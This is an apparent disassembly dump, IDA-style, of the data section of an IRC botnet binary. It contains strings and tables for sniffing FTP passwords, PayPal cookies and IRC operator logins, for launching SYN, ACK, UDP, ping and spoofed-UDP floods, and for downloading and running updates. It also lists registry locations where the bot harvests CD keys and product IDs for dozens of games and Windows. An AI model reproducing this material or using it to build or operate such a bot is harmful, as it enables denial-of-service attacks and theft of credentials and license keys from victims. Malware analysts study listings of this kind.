dword_44C838	dd 6F4C2E3Ah, 6E6967h	; DATA XREF: sub_411734+B7o
dword_44C840	dd 64692E3Ah, 746E65h	; DATA XREF: sub_411734+C8o
dword_44C848	dd 6469213Ah, 746E65h	; DATA XREF: sub_411734+D9o
dword_44C850	dd 61682E3Ah, 6E696873h, 0 ; DATA XREF:	sub_411734+EEo
dword_44C85C	dd 6168213Ah, 6E696873h, 0 ; DATA XREF:	sub_411734+103o
dword_44C868	dd 20435249h, 66696E73h, 66h ; DATA XREF: sub_41184B+5o
dword_44C874	dd 5245504Fh, 20h	; DATA XREF: sub_41184B+2Bo
dword_44C87C	dd 4B43494Eh, 20h	; DATA XREF: sub_41184B:loc_41188Bo
dword_44C884	dd 7265706Fh, 20h	; DATA XREF: sub_41184B+51o
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_41184B+62o
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4118C1+5o
		align 4
aNick_2		db 'NICK ',0            ; DATA XREF: sub_4118C1+2Bo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4118C1+3Co
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4118C1:loc_411912o
		align 4
aUser_1		db 'USER ',0            ; DATA XREF: sub_4118C1+62o
		align 4
aPass_0		db 'PASS ',0            ; DATA XREF: sub_4118C1+73o
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_411948+5o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_411948+2Bo
		align 10h
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_411948:loc_411988o
		align 4
aPaypal_com	db 'PAYPAL.COM',0       ; DATA XREF: sub_411948+51o
		align 4
aPaypal_com_0	db 'paypal.com',0       ; DATA XREF: sub_411948+62o
		align 10h
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_411948+73o
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4119CF+5o
		align 4
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4119CF+2Bo
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4119CF:loc_411A0Fo
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4119CF+51o
		align 4
unk_44C958	db  2Dh	; -		; DATA XREF: sub_411A34+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
unk_44C984	db  2Dh	; -		; DATA XREF: sub_411A34+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
aS_32		db '%s',0               ; DATA XREF: sub_411A34+228o
		align 4
aS_33		db '%s',0               ; DATA XREF: sub_411A34+250o
		align 4
unk_44C9BC	db  2Dh	; -		; DATA XREF: sub_411A34+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_44C9F0	db  2Dh	; -		; DATA XREF: sub_411A34+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_44CA24	db  2Dh	; -		; DATA XREF: sub_411A34+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_44CA58	db  2Dh	; -		; DATA XREF: sub_411A34+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 10h
unk_44CA90	db  2Dh	; -		; DATA XREF: sub_411A34+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_44CAC8	db  2Dh	; -		; DATA XREF: sub_411E27+5Bo
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_411ED9+F1o
		align 4
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_411ED9:loc_411FE9o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_411ED9:loc_412005o
dword_44CB14	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_411ED9+302o
		dd 203A726Fh, 6425h
unk_44CB30	db  2Dh	; -		; DATA XREF: sub_41226E+49o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSocketFailedRe	db 'socket() failed, returned %d',0
		align 4
unk_44CB5C	db  2Dh	; -		; DATA XREF: sub_41226E+C2o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aSetsockoptFail	db 'setsockopt() failed, returned %d',0
		align 4
unk_44CB8C	db  2Dh	; -		; DATA XREF: sub_41226E+12Ao
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidTargetI	db 'invalid target ip',0
		align 4
unk_44CBAC	db  2Dh	; -		; DATA XREF: sub_41226E+307o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPa	db 'error sending packets to %s. %d packets sent, returned %d',0
		align 4
unk_44CBF4	db  2Dh	; -		; DATA XREF: sub_41226E+397o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aDoneWithSFlood	db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0
		align 10h
unk_44CC40	db  2Dh	; -		; DATA XREF: sub_412655+6Eo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aErrorSendingPi	db 'error sending pings to %s',0
		align 4
unk_44CC68	db  2Dh	; -		; DATA XREF: sub_412655+13Co
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFinishedSendin	db 'finished sending pings to %s',0
		align 4
unk_44CC94	db  2Dh	; -		; DATA XREF: sub_4127E1+8Eo
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aErrorSending_0	db '- error sending packets to %s',0
		align 4
unk_44CCBC	db  2Dh	; -		; DATA XREF: sub_4127E1+1C6o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFinishedSend_0	db '- finished sending packets to %s',0
		align 4
dword_44CCE8	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_4129F7+48o
aDoneWithFloodI	db '- Done with flood (%iKB/sec)',0
		align 4
unk_44CD14	db  2Dh	; -		; DATA XREF: sub_412B9A+48o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloo_0	db '- Done with flood (%iKB/sec).',0
		align 4
unk_44CD3C	db  2Dh	; -		; DATA XREF: sub_412C36+27Do
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aSendErrorD_	db '- Send error: <%d>.',0
		align 4
dword_44CD5C	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_412F42+4Do
aDoneWithFlood_	db '- Done with flood.',0
		align 4
unk_44CD7C	db  2Dh	; -		; DATA XREF: sub_4131FE+70o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSocketFai	db '- Error: socket() failed, returned: <%d>.',0
		align 10h
unk_44CDB0	db  2Dh	; -		; DATA XREF: sub_4131FE+EEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSetsockop	db '- Error: setsockopt() failed, returned: <%d>.',0
		align 4
unk_44CDE8	db  2Dh	; -		; DATA XREF: sub_4131FE+15Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidTarge_0	db '- Invalid target IP.',0
		align 4
aSyn_0		db 'syn',0              ; DATA XREF: sub_4131FE+2D2o
aAck_0		db 'ack',0              ; DATA XREF: sub_4131FE+2F2o
aRandom_2	db 'random',0           ; DATA XREF: sub_4131FE+312o
		align 4
unk_44CE18	db  2Dh	; -		; DATA XREF: sub_4131FE+44Fo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aErrorSending_1	db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
unk_44CE68	db  2Dh	; -		; DATA XREF: sub_4131FE+4EBo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aDoneWithSFlo_0	db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
unk_44CEB8	db  2Dh	; -		; DATA XREF: sub_413794+60o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aDoneWithFloodD	db '- Done with flood, %d packets sent.',0
		align 4
aD_D_D_D_1	db '%d.%d.%d.%d',0      ; DATA XREF: sub_413849+C7o
unk_44CEF8	db  2Dh	; -		; DATA XREF: sub_413A92+47o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aStartingWisdom	db '- Starting Wisdom spoofed UDP flood thread.',0
		align 4
unk_44CF38	db  2Dh	; -		; DATA XREF: sub_413B08+2Ao
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
unk_44CF64	db  2Dh	; -		; DATA XREF: sub_413B08+63o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSe	db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0
		align 4
unk_44CFB4	db  2Dh	; -		; DATA XREF: sub_413B08+80o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aInvalidTarge_1	db '- Invalid target IP. WSAGetLastError() returns %d.',0
unk_44CFF8	db  2Dh	; -		; DATA XREF: sub_413B08+CCo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aSendingPackets	db '- Sending packets to %s...',0
aD_D_D_D_2	db '%d.%d.%d.%d',0      ; DATA XREF: sub_413B08+17Eo
unk_44D030	db  2Dh	; -		; DATA XREF: sub_413B08+348o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorSending_2	db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
		db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
unk_44D0BC	db  2Dh	; -		; DATA XREF: sub_413B08+2F6o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFinishedSend_1	db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
		db 'a sent (~%dK/s).',0
		align 10h
unk_44D120	db  2Dh	; -		; DATA XREF: sub_413E60+5Do
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
asc_44D14C:				; DATA XREF: sub_413FFA+1C5o
		unicode	0, < >,0
aSD_2		db '%s%d ',0            ; DATA XREF: sub_413FFA+207o
		align 4
dword_44D158	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_414512+10o
dword_44D16C	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_414512+35o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_41458A+60o
		align 4
dword_44D1A4	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: .nsp0:00414646o
dword_44D1B0	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_4146C7+20o
dword_44D1C4	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_4146C7:loc_4146FCo
dword_44D1D8	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: sub_41473A+3Fo
		dd 676E6974h, 0
dword_44D1F4	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: sub_41473A+DCo
		dd 6574656Ch, 0
		dd 80000001h
off_44D214	dd offset aSoftwareValveC ; DATA XREF: sub_414869+Cr
					; sub_414869+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_44D220	dd 2 dup(0)		; DATA XREF: sub_414869+26o
		dd 80000001h, 44D690h, 44D6B8h,	44D6C4h, 2 dup(0)
		dd 80000001h, 44D6D4h, 44D6F4h,	44D6F8h, 2 dup(0)
		dd 80000001h, 44D70Ch, 44D730h,	44D734h, 2 dup(0)
		dd 80000001h, 44D740h, 44D764h,	44D76Ch, 2 dup(0)
		dd 80000001h, 44D780h, 44D794h,	44D7A4h, 2 dup(0)
		dd 80000001h, 44D7C0h, 44D804h,	44D80Ch, 2 dup(0)
		dd 80000002h, 44D820h, 44D84Ch,	44D858h, 2 dup(0)
		dd 80000002h, 44D878h, 44D8ACh,	44D8B4h, 2 dup(0)
		dd 80000002h, 44D8CCh, 44D900h,	44D908h, 2 dup(0)
		dd 80000002h, 44D920h, 44D938h,	44D940h, 2 dup(0)
		dd 80000002h, 44D958h, 4E8518h,	44D994h, 2 dup(0)
		dd 80000002h, 44D9A4h, 4E851Ch,	44D9DCh, 2 dup(0)
		dd 80000002h, 44D9F0h, 4E8520h,	44DA3Ch, 2 dup(0)
		dd 80000002h, 44DA5Ch, 4E8524h,	44DAACh, 2 dup(0)
		dd 80000002h, 44DAD8h, 4E8528h,	44DB14h, 2 dup(0)
		dd 80000002h, 44DB28h, 4E852Ch,	44DB60h, 2 dup(0)
		dd 80000002h, 44DB70h, 4E8530h,	44DBC0h, 2 dup(0)
		dd 80000002h, 44DBECh, 4E8534h,	44DC2Ch, 2 dup(0)
		dd 80000002h, 44DC48h, 4E8538h,	44DC78h, 2 dup(0)
		dd 80000002h, 44DC98h, 4E853Ch,	44DCD4h, 2 dup(0)
		dd 80000002h, 44DCE8h, 4E8540h,	44DD30h, 2 dup(0)
		dd 80000002h, 44DD50h, 4E8544h,	44DDA4h, 2 dup(0)
		dd 80000002h, 44DDD4h, 4E8548h,	44DE24h, 2 dup(0)
		dd 80000002h, 44DE50h, 44DE90h,	44DE98h, 2 dup(0)
		dd 80000002h, 44DEB8h, 4E854Ch,	44DEFCh, 2 dup(0)
		dd 80000002h, 44DF18h, 4E8550h,	44DF64h, 2 dup(0)
		dd 80000002h, 44DF88h, 4E8554h,	44DFBCh, 2 dup(0)
		dd 80000002h, 44DFC8h, 4E8558h,	44DFFCh, 2 dup(0)
		dd 80000002h, 44E008h, 4E855Ch,	44E03Ch, 2 dup(0)
		dd 80000002h, 44E048h, 4E8560h,	44E07Ch, 2 dup(0)
		dd 80000002h, 44E088h, 4E8564h,	44E0C4h, 2 dup(0)
		dd 80000002h, 44E0D8h, 4E8568h,	44E114h, 2 dup(0)
		dd 80000002h, 44E128h, 44E158h,	44E160h, 2 dup(0)
		dd 80000002h, 44E17Ch, 44E19Ch,	44E1A4h, 2 dup(0)
		dd 80000002h, 44E1C8h, 44E1E4h,	44E1ECh, 2 dup(0)
		dd 80000002h, 44E20Ch, 44E22Ch,	44E234h, 2 dup(0)
		dd 80000002h, 44E258h, 44E270h,	44E278h, 2 dup(0)
		dd 80000002h, 44E27Ch, 44E298h,	44E2A8h, 2 dup(0)
		dd 80000002h, 44E2B0h, 44E2E4h,	44E2E8h, 2 dup(0)
		dd 80000002h, 44E300h, 44E33Ch,	44E348h, 44E370h, 44E380h
		dd 80000002h, 44E394h, 44E3B8h,	44E3C4h, 44E3D8h, 44E3E8h
		dd 80000002h, 44E3F0h, 44E414h,	44E420h, 44E44Ch, 44E45Ch
		dd 80000002h, 44E464h, 44E488h,	44E494h, 44E4C4h, 44E4D4h
		dd 6 dup(0)
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .nsp0:off_44D214o
		align 10h
aCdkey		db 'CDKey',0            ; DATA XREF: .nsp0:0044D218o
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: .nsp0:0044D21Co
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aKey_1		db 'Key',0
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 10h
aKey_2		db 'Key',0
aHalfLife	db 'Half-Life',0
		align 10h
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aIndustryGiant2	db 'Industry Giant 2',0
		align 10h
aSoftware3d0Sta	db 'Software\3d0\Status',0
aCustomernumber	db 'CustomerNumber',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 10h
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aCdkey_0	db 'CDKey',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aProductid	db 'ProductId',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aCdkey_1	db 'CDKey',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 10h
aCdkey_2	db 'CDKey',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2004',0
		align 10h
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aCdkey_3	db 'CDKey',0
		align 10h
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aBattlefield194	db 'Battlefield 1942',0
		align 10h
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 10h
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 10h
aCommandAndConq	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aCommandAndCo_0	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 10h
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault',0
		align 10h
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 10h
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 10h
aErgc		db 'ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNascarRacing20	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aCdkey_4	db 'CDKey',0
		align 10h
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aSerial_0	db 'Serial',0
		align 4
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aSerial_1	db 'Serial',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Red Alert 2',0
		align 4
aSerial_2	db 'Serial',0
		align 4
aCommandAndCo_3	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestw_2	db 'oftware\Westwood\NOX',0
		align 10h
aSerial_3	db 'Serial',0
		align 4
aNox		db 'NOX',0
aSoftwareTechla	db 'Software\Techland\Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
aChrome		db 'Chrome',0
		align 10h
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aKey_3		db 'key',0
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 10h
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 10h
aBaseMpSof2key	db 'base\mp\sof2key',0
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aLocation	db 'Location',0
		align 4
aNeverwinterNig	db 'Neverwinter Nights',0
		align 4
aNwncdkey_ini	db 'nwncdkey.ini',0
		align 4
aKey1		db 'Key1=',0
		align 10h
aSoftwareBiow_0	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aLocation_0	db 'Location',0
		align 10h
aNeverwinterN_0	db 'Neverwinter Nights (Shadows of Undrentide)',0
		align 4
aNwncdkey_ini_0	db 'nwncdkey.ini',0
		align 4
aKey2		db 'Key2=',0
		align 4
aSoftwareBiow_1	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aLocation_1	db 'Location',0
		align 4
aNeverwinterN_1	db 'Neverwinter Nights (Hordes of the Underdark)',0
		align 4
aNwncdkey_ini_1	db 'nwncdkey.ini',0
		align 4
aKey3		db 'Key3=',0
		align 4
aSS_9		db '%s\%s',0            ; DATA XREF: sub_414869+79o
		align 4
aR_2:					; DATA XREF: sub_414869+8Ao
		unicode	0, <r>,0
asc_44E4E8:				; DATA XREF: sub_414869+DEo
		unicode	0, <=>,0
asc_44E4EC:				; DATA XREF: sub_414869+E9o
		unicode	0, <=>,0
dword_44E4F0	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_414869+FEo
		dd 0
dword_44E508	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_414869+11Bo
		dd 0
dword_44E520	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_414869+167o
		dd 0
unk_44E538	db  2Dh	; -		; DATA XREF: sub_414A1D+77o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
unk_44E560	db  2Dh	; -		; DATA XREF: sub_414A1D+183o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_44E588	db  2Dh	; -		; DATA XREF: sub_414A1D+195o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_44E5B0	db  2Dh	; -		; DATA XREF: sub_414A1D+1D8o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_44E5DC	db  2Dh	; -		; DATA XREF: sub_414A1D+262o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_44E604	db  2Dh	; -		; DATA XREF: sub_414A1D+2E1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
aOpen_2		db 'open',0             ; DATA XREF: sub_414A1D+336o
		align 4
dword_44E644	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: sub_414A1D+358o
		dd 25206465h, 73h
unk_44E660	db  2Dh	; -		; DATA XREF: sub_414A1D+3C9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
